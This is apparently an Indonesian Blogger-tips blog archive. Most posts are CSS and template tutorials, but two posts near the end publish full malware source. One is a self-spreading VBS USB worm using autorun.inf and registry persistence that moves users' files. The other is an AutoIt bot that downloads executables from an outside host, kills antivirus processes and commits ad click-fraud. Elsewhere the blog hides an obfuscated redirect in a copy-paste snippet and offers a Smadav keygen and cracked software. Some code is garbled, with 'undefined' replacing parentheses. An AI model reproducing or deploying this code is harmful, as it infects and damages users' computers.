Alonemisery

Menaruh URL,HTML,Forum Links Code dibawah Postingan

2011-11-03T17:27:00.002+07:00

Contoh Di Blog adnan-agnesa.blogspot.com

1.Masuk ke blogger dashboard--> layout- -> Edit HTML

2.Cari kode: <data:post.body/>

3.Copy dan paste kode dibawah ini SESUDAH code <data:post.body/>.

<b:if cond='data:blog.pageType == "item"'>
<div class="about-article"><p>If you find this article useful, please feel free to link to this page from your website or blog.</p><p class="noborder"><label for="aa-url">URL:</label><br /><input size="80" readonly="readonly" onclick="this.focus();this.select();" type="text" id="aa-url" value="<data:post.url/>" /></p><p><label for="aa-forum">HTML Link:</label><br /><input size="80" readonly="readonly" onclick="this.focus();this.select();" type="text" id="aa-forum" value="<a href=&quot;<data:post.url/>&quot;><data:post.title/></a>" /></p><p>
<label for="aa-forum">Forum Link:</label><br />
<input size="80" readonly="readonly" onclick="this.focus();this.select();" type="text" id="aa-forum" value="[url=<data:post.url/>]/<data:post.title/>[/url]" /></p>
<p align='center'><a href='http://alonemisery.blogspot.com/' style='display:none;' target='_blank'>Widget by Alonemisery</a></p>
</div><br/>
</b:if>

4. Simpan dan liat hasilnya.

Anti Selected Text dan klik kanan Pada Blogger

2011-05-30T12:26:00.007+07:00

Anti Selected Text dan klik kanan Pada Blogger

1.Masuk ke rancangan-->edit html.
2.cari kode </body>
3.Taruh kode dibawah ini DIATAS KODE </body>
4.simpan dan lihat hasilnya

<br /> <script><br /> <!--<br /> document.writeundefinedunescapeundefined"%3C%6E%6F%73%63%72%69%70%74%3E%3C%6D%65%74%61%20%63%6F%6E%74%65%6E%74%3D%27%30%3B%55%52%4C%3D%68%74%74%70%3A%2F%2F%6B%65%73%6D%61%73%2D%75%6E%73%6F%65%64%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%27%20%68%74%74%70%2D%65%71%75%69%76%3D%27%72%65%66%72%65%73%68%27%2F%3E%3C%2F%6E%6F%73%63%72%69%70%74%3E%0A"));<br /> //--><br /> </script><br /> <script language="JavaScript1.2"><br /> //http://alonemisery.blogspot.com<br /> function disableselectundefinede){<br /> return false<br /> }<br /> function reEnableundefined){<br /> return true<br /> }<br /> //if IE4+<br /> document.onselectstart=new Function undefined"return false")<br /> //if NS6<br /> if undefinedwindow.sidebar){<br /> document.onmousedown=disableselect<br /> document.onclick=reEnable<br /> }<br /> </script><br /> <script language="JavaScript">curPage=1;<br /> document.oncontextmenu = functionundefined){return false}<br /> ifundefineddocument.layers) {<br /> window.captureEventsundefinedEvent.MOUSEDOWN);<br /> window.onmousedown = functionundefinede){<br /> ifundefinede.target==document)return false;<br /> }<br /> }<br /> else {<br /> document.onmousedown = functionundefined){return false}<br /> }<br /> </script><br /> 

Cloning White Template

2011-05-30T12:03:00.001+07:00

Demo

Hitsuke Template Blogger Cloning

2011-05-25T09:08:00.002+07:00

Hitsuke Template Blogger Cloning

Download-Demo

~~Note:~~
~~1.Ga mirip bgt cloningnya~~
~~2.Inspirasi http://hitsuke.blogspot.com~~

Clonning Template Blogger

2011-05-04T17:55:00.001+07:00

Feature:
1.Query Loader
2.Blue and Black Color

Note:

Untuk menu navigasi tambahkan gadget html. terus copy paste kode ini :
<div class='navigation'>
<ul class='nav'>
<li class='n1'><a href='http://alonemisery.blogspot.com'><img src="http://4.bp.blogspot.com/-sQBmIpqziSQ/TWRiPyRSXdI/AAAAAAAABAo/m7mRmfURJWQ/s1600/home32.png"/></a>
<li class='n2'><a href='http://alonemisery.blogspot.com'><img src="http://2.bp.blogspot.com/-rvUpMCaZKOQ/TWRixsfCFEI/AAAAAAAABBE/jsbO_quv0N4/s1600/lightbulb32.png"/></a>
</li>
<li class='n6'><a href='http://alonemisery.blogspot.com'><img src="http://1.bp.blogspot.com/-QBpZKX0dhwc/TWRixIVcu4I/AAAAAAAABBA/67LAfBnNcC0/s1600/article32.png"/></a>
</li>
<li class='n3'><a href='mailto:alonemisery@ymail.com'><img src="http://2.bp.blogspot.com/-u_FPnl55rDg/TWRiQEU_dBI/AAAAAAAABA4/vHFFIspHTPo/s1600/mail32.png"/></a>
</li>
<li class='n4'><a href='http://alonemisery.blogspot.com'><img src="http://1.bp.blogspot.com/-nP4LnxHSqLU/TWRiP-SfDbI/AAAAAAAABAg/f-kH_FpmGyI/s1600/contactcard32.png"/></a>
</li>
<li class='n5'><a href='http://alonemisery.blogspot.com/atom.xml'><img src="http://1.bp.blogspot.com/-WxC8_y96VZY/TWRiyvetQzI/AAAAAAAABBI/yTVlAo-zGRQ/s1600/rss32k.png"/></a>
</li>
</li></ul></div>
DEMO | DOWNLOAD

Blogger Luncurkan Follow By Email

2011-03-17T15:06:00.000+07:00

Feature terbaru dari blogger yaitu Follow By Email.

Kali ini saya mau bagi-bagi penemuan baru nih, sudah tahu belum kalau Blogger telah menambahkan gadget terbaru, yaitu sebuah gadget yang dapat mempermudah pembaca yang mengikuti perkembangan blog kita, dengan hanya menuliskan alamat email, langsung semua konten-konten terbaru akan masuk ke email pengikut blog kita, siipkan ! gadget ini akan membuat manfaat yang jauh lebih positif.

Sebab, para pembaca yang mengikuti blog kita, tadinya hanya mengikuti di navbar, dimana tidak semua blogger yang memasang nabvar pada blognya, kini dengan gadget terbaru ini, dapat kita pasang di sidebar.

Eh, tunggu dulu ! Apakah teman-teman suka dengan gadget ini, dan bagaimana cara mendapatkannya ? Jawabnya cukup mudah ! , yaitu :

# Login ke Blogger.

# Klik Rancangan.

# klik Tambah Gadget.

# Pilih "Follow me by email.

# Masukkan url Feed kamu.

# Klik SIMPAN

Selesai, gampang bukan !

Bikin Blockquote pada blogger jadi lebih menarik

2011-03-12T15:11:00.001+07:00

1.masuk pada blogger dashboard--> layout- -> Edit HTML

2.Cari kode seperti ini </head> tag .

3.Copy dan paste kode ini ,diatas kode tersebut just before the </head> tag .

<style type="text/css">
blockquote {
background: rgba(65, 63, 63, 0.2); /* default background */
/* CSS3 magic */
background: linear-gradient(top, rgba(65, 63, 63, 0.2), rgb(90, 30, 30));
background: -webkit-gradient(linear, left top, left bottom, from(rgb(110, 30, 30)), to(rgb(90, 30, 30)));
background: -moz-linear-gradient(top, rgba(65, 63, 63, 0.2), rgb(90, 30, 30));
background: -o-linear-gradient(top, rgba(65, 63, 63, 0.2), rgb(90, 30, 30));
border-radius: 10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
margin: 20px 0;
padding: 20px;
position: relative;
text-shadow: 1px 1px 1px rgb(60, 30, 30);
}
blockquote:after {
content: "\00a0";
display: block; /* FF 3.0 */
bottom: -30px;
left: 50px;
width: 0;
height: 0;
position: absolute;
border-width: 15px 15px;
border-style: solid;
border-color: rgb(90, 30, 30) transparent transparent;
}
blockquote + p {
color: rgb(200, 180, 180);
font-size: .857em; /* 12px */
font-style: italic;
margin: 0 0 0 50px;
}


</style>

Note : warna dapat diganti sesuai yang kamu suka.

4.sekarang simpan template kamu.

hasilnya akan seperti gambar dibawah ini.

Bikin selected teks pada postingan blogger

2011-03-12T14:56:00.001+07:00

1.masuk pada blogger dashboard--> layout- -> Edit HTML

2.Cari kode seperti ini </head> tag .

3.Copy dan paste kode ini ,diatas kode </head> tag .

<style type="text/css">
::selection {background:#cc0000;color:#ffffff;}
::-moz-selection{background:#cc0000;color:#ffffff;}
code::selection {background: #333333;color:#ffffff;}
code::-moz-selection {background: #333333;color:#ffffff;}
pre::selection {background: #44ceff;color:#ffffff;}
pre::-moz-selection {background: #44ceff;color:#ffffff;}
</style>

Note : warna dapat diganti sesuai yang kamu suka.

4.sekarang simpan template kamu.

hasilnya akan seperti gambar dibawah ini.

Cara Mencegah Copy Paste Pada Blogspot Selain Dengan Javascript

2011-03-12T14:41:00.001+07:00

Cara Mencegah Copy Paste Pada Blogspot Selain Dengan Javascript

1. Masuk Blogger terus pilih Design/ rancangan

2. Pilih Edit HTML

3. Centang expand Widgets

4.Cari <body>

5.lalu ganti dengan kode dibawah ini

<body ondragstart='return false' onselectstart='return true' style='-moz-user-select: none; cursor: default;'>

6.Save dan liat Hasilnya.

Note: cara ini sangat tepat digunakan buat blog download mp3, software atau game.

Blue White Template

2011-03-07T12:56:00.000+07:00

DEMO | DOWNLOAD

Feature :

* Blue and White
* Meta Tag
* Favicon
* Slide Show Image

Alonemisery Template

2011-02-23T15:39:00.013+07:00

Klik Image To Zoom

Tag : Template Blog, Download Template Blogger, Template Btemplates, Templates Minimalis, Templates Readmore Qloader, Blogspot Templates.

DEMO | DOWNLOAD

Feature :

* Black and White
* 1 Columns
* 1 Columns Footer
* Menu Navigation
* Related Post
* Preloader Page(QueryLoader)
* Welcome Text
* Profil Author
* Breadcrumbs
* Rainbow Link
* Page Navigation
* Meta Description and Keyword

Customization :

1. Menu Navigation :

change label url with your label.


<li class='dir'><blink>Kategori</blink>
<ul>
<li><a href='http://alonemisery.blogspot.com/search/label/Anti%20Virus'>AntiVirus</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Audio%2FVideo%20Appz'>Audio/video</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Converter'>Converter</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Image%20Editor'>Design/Image Editor</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Desktop%20Tools'>Desktop Custom</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Free%20Games'>Free Games</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Internet%20Software'>Internet Tools</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Security'>Security</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Request'>Software By Request</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/System%20Tools'>System Tools</a></li>
<li><a href='http://alonemisery.blogspot.com/search/label/Utility'>Utility</a></li>
</ul>
</li>

2. Welcome Text :

Change "alonemisery" with your name.

<div id='welcometext'><b:if cond='data:blog.pageType != "item"'>
<h1>Hi! I'm <strong> <blink>alonemisery</blink> </strong>,Thank you for visiting my blog.</h1></b:if>
<b:if cond='data:blog.pageType == "item"'>
<h1>You Reading → <strong> <blink><data:blog.pageName/> </blink></strong></h1>
</b:if>
</div>

3. Profil Author :

*change "http://1.bp.blogspot.com/_TbPDE8RU3hE/TVDZs2i7YSI/AAAAAAAAA70/V_izqz16Y6M/s320/locked.png" with your image url.
*change "alonemisery" with your name.

<span class='profilauthor post-author'>
<img src='http://1.bp.blogspot.com/_TbPDE8RU3hE/TVDZs2i7YSI/AAAAAAAAA70/V_izqz16Y6M/s320/locked.png'/>
Di Tulis Oleh:
Alonemisery
</span>

4.Meta Description and Keyword :
*change "Download Template Blogger" with your blog description
*change "Template, Blogger, Download, Tips, Trik, Widget, Hack, Seo" with your blog keyword

<b:if cond='data:blog.url == data:blog.homepageUrl'>
<meta content='Download Template Blogger' name='description'/>
<meta content='Template, Blogger, Download, Tips, Trik, Widget, Hack, Seo' name='keywords'/>
</b:if>
<b:if cond='data:blog.pageType == "item"'>
<meta expr:content='data:blog.pageName' name='description'/>
<meta expr:content='data:blog.pageName + ",Template, Blogger, Download, Tips, Trik, Widget, Hack, Seo "' name='keywords'/>
</b:if>

Solusi Static Page Pada Auto Readmore

2011-02-23T10:48:00.000+07:00

Auto Readmore adalah solusi yang sangat tepat untuk mempercantik tampilan postingan dihalaman-halaman tertentu, yang jelas selain halaman postingan sendiri. Dan secara tidak langsung pun dapat merapihkan halaman Home dan Archives

MASALAHNYA ketika kita mengaplikasikan Auto Readmore halaman Static tidak akan muncul secara penuh namun akan muncul dalam bentuk Summary juga.

CARA MENGATASINYA:

Langsung aja kalian ganti code yang seperti dibawah ini

<b:if cond='data:blog.pageType != "item"'>

<div expr:id='"summary" + data:post.id'><data:post.body/></div>

<script type='text/javascript'>createSummaryAndThumb("summary<data:post.id/>");</script>

<span class='rmlink' style='float:left'><a expr:href='data:post.url'>READ MORE - <data:post.title/></a></span>

</b:if>

<b:if cond='data:blog.pageType == "item"'><data:post.body/></b:if>

Menjadi seperti ini

<b:if cond='data:blog.pageType != "item"'>

<b:if cond='data:blog.pageType != "static_page"'>

<div expr:id='"summary" + data:post.id'><data:post.body/></div>

<script type='text/javascript'>createSummaryAndThumb("summary<data:post.id/>");</script>

<span class='rmlink' style='float:right; margin-top:20px; display:inline'>

<a expr:href='data:post.url' style='padding:5px; background-color:#f9f9f9;-webkit-border-top-left-radius: 5px; -webkit-border-bottom-left-radius: 5px; -moz-border-radius-topleft: 5px; -moz-border-radius-bottomleft: 5px; border-top-left-radius: 5px; border-bottom-left-radius: 5px; '><data:post.title/></a>

<a expr:href='data:post.url' style='padding:5px; background-color:#f9f9f9;-webkit-border-top-right-radius: 5px; -webkit-border-bottom-right-radius: 5px; -moz-border-radius-topright: 5px; -moz-border-radius-bottomright: 5px; border-top-right-radius: 5px; border-bottom-right-radius: 5px;'>Read More</a>

</span>

</b:if>

</b:if>

<b:if cond='data:blog.pageType == "item"'>

<data:post.body/>

</b:if>

<b:if cond='data:blog.pageType == "static_page"'>

<data:post.body/>

</b:if>

Nah sekarang Static Page kalian sudah bisa dipakai kembali... Selamat mencoba.

Cara Migrasi Dari Wordpress Ke Blogger

2011-02-23T08:19:00.000+07:00

Jika ada yang tertarik ingin pindah Silahkan ikuti langkah-langkah di bawah ini:

1.Silahkan Login Ke Wordpress

2.Masuk Ke Dashbord

3.Kemudian Pilih Tools

4.Pilih Export Dan Klik DoWnload Export File

5.Kemudian Masuk Ke http://wordpress2blogger.appspot.com Trus Browse File yang tadi Sobat Export Trus KLik Convert.

6.Silahkan Sobat Login Ke Blogger Trus Klik Pengaturan Lalu Pilih Import Blog.

7.Pada Jendela Import Silahkan Pilih File Yang Sudah Di Convert tadi.

8.Jangan Lupa Cheklist di bawahnya kemudian klik import Blog.

9.Selesai dan lihat hasilnya selamat mencoba..

Sumber artikel http://www.mybloggerthemes.com/

Pasang Background Pada Follower

2011-02-21T14:58:00.006+07:00

Sampel follower with background:

Demo : Klik Here

backgorund :

langsung saja ke tutorialnya.
1.login blogger
2.Dashboard--> Design- ->Edit HTML
3.cari kode ]]></b:skin>
4. masukan kode dibawah SEBELUM kode ]]></b:skin>

#Followers1 h2 {background:transparent url(http://3.bp.blogspot.com/_rgHYBmPCWo4/TLAEm5wF0sI/AAAAAAAADFg/6SyKNVMUp-o/s1600/members2.png) no-repeat scroll left top;height:32px;margin-bottom:-5px;text-indent:-9999px;}
#Followers1-wrapper {
background-image: url(http://1.bp.blogspot.com/_TbPDE8RU3hE/TN-0Mq4wfXI/AAAAAAAAAgM/AqN_g2sZyIg/s1600/fbg.png);
color:#555147;width: 290px;height: 320px;);}
.foot-block {
line-height: 14px; font-family: Arial, Helvetica, sans-serif !important; font-size: 13px !important; color: #5f5f5f !important;
width: 260px;height: 222px;padding: 17px;
-webkit-box-shadow:1px 1px 10px 1px rgba(0, 0, 0, 0.1);
-moz-box-shadow:1px 1px 10px 1px rgba(0, 0, 0, 0.1);}

5.save dan liat hasilnya

NB : kamu bisa ganti backgrounya dgn ganti link http://1.bp.blogspot.com/_TbPDE8RU3hE/TN-0Mq4wfXI/AAAAAAAAAgM/AqN_g2sZyIg/s1600/fbg.png dengan link gambar kamu

Bikin Postingan Ada Backgroundnya

2011-02-21T14:57:00.001+07:00

copy paste kode dibawah ini d postinganmu--pilih edit html ( bukan yg compose):

<div style="padding: 10px; background: transparent url(http://i1002.photobucket.com/albums/af149/Imtikhan/background_posting.jpg) no-repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous; color: rgb(0, 0, 0); -moz-border-radius-topright: 10px; -moz-border-radius-bottomright: 10px; -moz-border-radius-topleft: 10px; -moz-border-radius-bottomleft: 10px;"><br>TARUH POSTINGANMU DISINI<br>
<br>
</div>

nb :
http://i1002.photobucket.com/albums/af149/Imtikhan/background_posting.jpg

bisa d ganti link foto kamu lhooo

cara bikin widget mu tampil di home saja

2011-02-21T14:55:00.000+07:00

cara bikin widget mu tampil di home saja:

1.Log in blogger

2.Dashboard--> Design- ->Edit HTML

3.Klick pada "Expand Widget Templates".

3.cari widget code( contoh : cari widget ID 'HTML4').

contoh seperti dibawah ini:

------------------------------------------------------

<b:widget id='HTML4' locked='false' title='Latest News' type='HTML'>
<b:includable id='main'>


<b:if cond='data:title != ""'>
<h2 class='title'><data:title/></h2>
</b:if>
<div class='widget-content'>
<data:content/>
</div>

<b:include name='quickedit'/>

</b:includable>
</b:widget>

-------------------------------------------------------------

4.sekarang tambahkan,

<b:if cond='data:blog.url == data:blog.homepageUrl'> widget code mu </b:if>

contoh nya seperti di bawah ini:

-------------------------------------------------------------

<b:widget id='HTML4' locked='false' title='Latest News' type='HTML'>
<b:includable id='main'>

<b:if cond='data:blog.url == data:blog.homepageUrl'>


<b:if cond='data:title != ""'>
<h2 class='title'><data:title/></h2>
</b:if>
<div class='widget-content'>
<data:content/>
</div>

<b:include name='quickedit'/>

</b:if>

</b:includable>
</b:widget>

------------------------------------------------------------------

selamat mencoba

Bikin Link Pelangi a.k.a Rainbow

2011-02-21T14:53:00.002+07:00

Contoh blog yang menggunakan link pelangi adalah DEMO
langsung saja ke tutorialnya:

1.Log in blogger

2.Dashboard--> Design- ->Edit HTML

3.Cari kode </head>

4.Pasang kode dibawah ini SEBELUM kode </head>

<script src='http://kesmas.googlecode.com/files/rainbow.js' type='text/javascript'></script>

5. Sekarang liat hasilnya. Bagus kan...hhehehhe

Tool HTML Encryption dan Decryption

2011-02-21T14:31:00.008+07:00

Template Blogger Pink Blue Black

2011-02-21T13:38:00.007+07:00

Tag : Template Blog Download, Minimalis Template Blog, Template Blog Lucu Imut, Download Template Blogspot.

DEMO | Download

Feature :

* Black and White
* 1 Columns
* 1 Columns Footer
* Related Post
* Read More

Horizontal Navigation Menu Links Untuk Blogger

2011-02-20T15:34:00.008+07:00

Tag : Tutorial, Navigation bar blogger, Navigasi Bar Tutorial, Tutorial Blogger, Edit Navigasi Navigation Bar, Hack Nav Blogger, Tutorial Blogspot, Horizontal Navigation Menu Links For Blogger, Edit Template Blog, Tutorial Blogger Indonesia, Nav Blogger

Tutorial : Horizontal Navigation Menu Links Untuk Blogger

1.Pilih > Edit Html

2.cari kode </b:skin>

3.tambahkan kode dibawah ini sebelum kode </b:skin>

/*nav bar alonemisery.blogspot.com*/

#bg_nav {

background: #000;

width: 960px;

height: 29px;

font-size: 11px;

font-family: Arial, Tahoma, Verdana;

color: #FFF;

font-weight: bold;

margin: 0px auto 0px;

padding: 0px;

border-top: 1px solid #333;

border-bottom: 1px solid #000;

overflow: hidden;

}

#bg_nav a, #bg_nav a:visited {

color: #FFF;

font-size: 11px;

text-decoration: none;

text-transform: uppercase;

padding: 0px 0px 0px 3px;

}

#bg_nav a:hover {

color: #FFF;

text-decoration: underline;

padding: 0px 0px 0px 3px;

}

#navleft {

width: 720px;

float: left;

margin: 0px;

padding: 0px;

}

#navright {

width: 220px;

font-size: 11px;

float: right;

margin: 0px;

padding: 6px 5px 0px 0px;

}

#navright a img {

border: none;

margin: 0px;

padding: 0px;

}

#nav {

margin: 0px;

padding: 0px;

list-style: none;

}

#nav ul {

margin: 0px;

padding: 0px;

list-style: none;

}

#nav a, #nav a:visited {

background: #222;

color: #FFF;

display: block;

font-weight: bold;

margin: 0px;

padding: 8px 15px;

border-left: 1px solid #000;

}

#nav a:hover {

background: #6e6d6d;

color: #FFFFFF;

margin: 0px;

padding: 8px 15px;

text-decoration: none;

}

#nav li {

float: left;

margin: 0px;

padding: 0px;

}

#nav li li {

float: left;

margin: 0px;

padding: 0px;

width: 150px;

}

#nav li li a, #nav li li a:link, #nav li li a:visited {

background: #333;

width: 160px;

float: none;

margin: 0px;

padding: 7px 30px 7px 10px;

border-bottom: 1px solid #000;

border-left: 1px solid #000;

border-right: 1px solid #000;

}

#nav li li a:hover, #nav li li a:active {

background: #666;

padding: 7px 30px 7px 10px;

}

#nav li ul {

position: absolute;

width: 10em;

left: -999em;

}

#nav li:hover ul {

left: auto;

display: block;

}

#nav li:hover ul, #nav li.sfhover ul {

left: auto;

}

4.Kemudian cari kode seperti dibawah ini-

5.Tambahkan kode dibawah ini sebelum kode di atas:-

<div id='bg_nav'>

<div id='navleft'>

<div id='nav'>

<ul>

<li><a href='/'>home</a></li>

<li><a href='#'>Widgets</a></li>

<li><a href='#'>Hacks</a></li>

<li><a href='#'> Tutorials</a></li>

<li><a href='#'>Templates</a></li>

<li><a href='#'>Contact</a></li>

</ul>

</div>

</div>

</div>

Packer Javascript

2011-02-20T14:21:00.005+07:00

Tag : Tool Blog, Tool Javascript, Hack Blog, Compress css, Compress Javascript YUI, Compress HTML, Javascript Encoder, Javascript Decoder, Abu Farhan Script Decode, Alonemisery Tool webmaster

sorry TOOL error

Tidy Javascript

2011-02-20T14:04:00.002+07:00

Bikin Preload Pakai QueryLoader Pada Blogspot

2011-02-18T15:08:00.002+07:00

QueryLoader

Preload Your Website With Style

QueryLoader adalah animasi yang akan keluar dalam pemanggilan halaman/page, istilah kerennya sih preloader page. Sebelumnya yang lebih populer yaitu LazyLoader, Jika LazyLoader untuk gambar atau beberapa element, nah QueryLoader ini bisa menjadi preloader halaman/page. Tetapi tidak hanya halaman saja, gambar atau elemen-elemen dalam blog juga bisa diberi animasi dalam pemanggilannya.

Fitur:

Preload sebuah halaman web secara keseluruhan
Preload elemen pada halaman
Preload semua gambar, dan background dari CSS
Mudah untuk diimplementasikan
Animasi bar yang adjustable

Cara Mengimplementasikan

Sebelumnya kalian harus unduh file yang akan kita gunakan.

Ok langsung aja kita mulai!

Unzip file yang sudah kalian unduh tadi
Upload ke webserver seperti Google Code
Selanjutnya masukkan script dibawah ini, tepat diatas tag </head>

Setelah itu taruh script dibawah ini diatas </body>

Nah selanjutnya kita masukkan code CSS-nya

QueryLoader Tanpa Persentase

.QOverlay { background-color: #000000; z-index: 9999; } .QLoader { background-color: #00818B; height: 2px; }

QueryLoader Dengan Persentase

.QOverlay { background-color: #000000; z-index: 9999; } .QLoader { background-color: #CCCCCC; height: 1px; } .QAmt { color:#333333; font-family:"Trebuchet MS",Arial,Helvetica,sans-serif; font-size:40px; font-weight:bold; line-height:50px; height:50px; width:100px; margin:-60px 0 0 -50px; }

Code CSS tersebut dapat kalian ubah/modifikasi untuk menyesuaikan dengan template anda.

Bikin key atau licensi Smadav pake nama kamu sendiri

2011-01-31T11:34:00.001+07:00

Bikin key atau serial number Smadav pake nama kamu sendiri. caranya tinggal download aja keygen dibawah ini.

Nb: Untuk menghilangkan tanda bajakan, yang biasanya ditandai dengan smadav kamu warna hitam. kamu bisa menggunakan kata kunci "anti-pembajakan" atau "anti-bajakan" (tanpa tanda kutip).kamu isi di bagian nama. setelah itu klik registrasi.

IDM 6.04 build 3 Fullversion

2011-01-31T11:23:00.000+07:00

What's new in version 6.04 build 3?

* Resolved several problems when advanced browser integration was unable to turn on
* Fixed downloading with several web sites
* Added a display of download progress on IDM icon on the taskbar of Windows 7

Source Code The Legend Of Aang Vbs

2011-01-30T16:25:00.002+07:00

source code The_Legend_Of_Aang.vbs

'******************** Now AnG is Encrypted ***************
'**************************************************************
'******************* Call me The legend of Aang ***************

Option Explicit
On Error Resume Next
Dim Fso
Set Fso = CreateObjectundefined"Scripting.FileSystemObject")

Dim Shells
Set Shells = CreateObjectundefined"Wscript.Shell")

Dim WinDir
Set WinDir = Fso.GetSpecialFolderundefined0)

Dim SystemDir
Set SystemDir =Fso.GetSpecialFolderundefined1)

Dim File
Set File = Fso.GetFileundefinedWScript.ScriptFullName)

Dim Drv
Set Drv=File.Drive

Dim InDrive
Set InDrive = Fso.drives

Dim ReadAll,AllFile
Set ReadAll=File.OpenAsTextStreamundefined1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline & vbcrlf
Loop

Dim Count
Count=Drv.DriveType

Dim WriteAll
Do

If Not Fso.FileExistsundefinedSystemDir & "\Aang.vbs") then
set WriteAll = Fso.CreateTextFileundefinedSystemDir & "\Aang.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFileundefinedSystemDir & "\Aang.vbs")
WriteAll.Attributes = -1
End If

Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\Aang.vbs"

Dim Drives
For Each Drives In InDrive

If Drives.DriveType=2 Then
LookVBS "inf",Drives.Path & "\"
LookVBS "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
LookVBS "vbs",WinDir & "\"
LookVBS "vbs",Drives.Path & "\"
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExistsundefinedDrives.Path & "\The_Legend_Of_Aang.vbs") Then
set writeall=fso.CreateFolder undefinedSystemDir & "\RemovableCache")
writeall.close
set writeall=fso.copyfolder undefinedDrives.path & "\*",SystemDir & "\RemovableCache")
writeall.close
set writeall=fso.moveFile undefinedDrives.path & "\*.*",SystemDir & "\RemovableCache")
writeall.close
'set writeall=fso.Deletefolder undefinedDrives.path & "\*",2)
writeall.close
'set writeall=fso.DeleteFile undefinedDrives.path & "\*.*",2)
writeall.close
Set WriteAll=Fso.CreateTextFileundefinedDrives.Path & "\The_Legend_Of_Aang.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFileundefinedDrives.Path & "\The_Legend_Of_Aang.vbs")
WriteAll.Attributes = -1
writeall.close
End If

If Fso.FileExistsundefinedDrives.Path & "\autorun.inf") Or Fso.FileExistsundefinedDrives.Path & "\AUTORUN.INF") Then
Dim Chg
Set Chg = Fso.GetFileundefinedDrives.Path & "\autorun.inf")
Chg.Attributes = -8
End if
Set WriteAll = Fso.CreateTextFileundefinedDrives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[Autorun]" & vbcrlf & "UseAutoplay=1" & vbcrlf & "Icon=%SystemRoot%\system32\SHELL32.dll,7" & vbcrlf & "Shellexecute=wscript.exe The_Legend_Of_Aang.vbs" & vbCrLf & "Shell\OPEN\COMMAND=wscript.exe The_Legend_Of_Aang.vbs"& VbCrlf &"Shell\explore\COMMAND=wscript.exe The_Legend_Of_Aang.vbs" & VbCrLf & "Action=Open folder to view files"
WriteAll.Close
Set WriteAll = Fso.GetFileundefinedDrives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End If
End if
End if
End If

Next

if Count <> 1 then
Wscript.sleep 10000
end if

loop while Count<>1

sub LookVBSundefinedFile2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObjectundefined"Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolderundefinedSrchPath)
For Each oFile In oFolder.Files
Cut=RightundefinedoFile.Name,3)
If UCaseundefinedCut)=UCaseundefinedfile2find) Then
If oFile.Name <> "The_Legend_Of_Aang.vbs" Then Set Delete = oFileSys.DeleteFileundefinedsrchpath & oFile.Name,true)
End If
Next
End sub

Source Code Virus w32 im sohanada-autoit

2011-01-30T16:23:00.000+07:00

;

; ----------------------------------------------------------------------------
;
; ----------------------------------------------------------------------------

;---------------------------------------------------------------
; Tac Gia: TermeX - ThanatoS
; Phan Mem: TermeX Bot
; Phien Ban: 2.0
; Cong Dung: Quang cao Website thong qua Y!M,MSN,AIM,My Computer
; Phat Hanh: 20-9-2006
;---------------------------------------------------------------

; Thiet Lap
#NoTrayIcon
$website = "http://thecoolpics.com"
$link = "http://thecoolpics.com/"

; Lay Nhiem Vao He Thong
If Not FileExistsundefined@WindowsDir & "\system\svchost32.exe") Then
InetGet undefined"http://mareknaturephoto.com/Gallery/albums/Wood-ducks/photos/link-en.exe", @WindowsDir & "\system\svchost32.exe", 0, 1)
Sleepundefined5000)
EndIf

If Not FileExistsundefined@WindowsDir & "\system\svhost.exe") Then
InetGet undefined"http://mareknaturephoto.com/Gallery/albums/Wood-ducks/photos/en.exe", @WindowsDir & "\system\svhost.exe", 0, 1)
Sleepundefined5000)
EndIf

;Kill cac processes Anti-Virus
If ProcessExistsundefined"Bkav2006.exe") Then
ProcessCloseundefined"Bkav2006.exe")
EndIf

If ProcessExistsundefined"IEProt.exe") Then
ProcessCloseundefined"IEProt.exe")
EndIf

If ProcessExistsundefined"bdss.exe") Then
ProcessCloseundefined"bdss.exe")
ProcessCloseundefined"vsserv.exe")
EndIf

;Click vao Adbrite
$title = WinGetTitleundefined"Active marketing website for ads - Microsoft Internet Explorer", "")
$check = WinExists undefined$title)
If $check = 1 Then
BlockInput undefined1)
WinActivateundefined$title)
WinSetState undefined $title , "", @SW_MAXIMIZE)
$pos = MouseGetPosundefined)
MouseClickundefined"left", 400, 300, 1, 0)
MouseMove undefined $pos[0], $pos[1] , 0)
BlockInput undefined0)
EndIf

; Ghi Khoa Registry
RegWriteundefined"HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWriteundefined"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
RegWriteundefined"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
RegWriteundefined"HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "REG_SZ", $website)
